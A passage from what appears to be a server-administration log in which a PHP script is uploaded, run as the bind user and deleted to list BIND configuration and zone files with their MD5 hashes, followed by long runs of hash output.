MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:19:23: Establishing a connection
2026-04-23 13:19:23: 

PUT: /tmp/pkp721163

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:19:23: 

runuser -l bind -s /bin/bash -c '/tmp/pkp721163; rm /tmp/pkp721163'

2026-04-23 13:19:23: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:19:29: Establishing a connection
2026-04-23 13:19:29: 

PUT: /tmp/pkp409644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:19:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp409644; rm /tmp/pkp409644'

2026-04-23 13:19:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
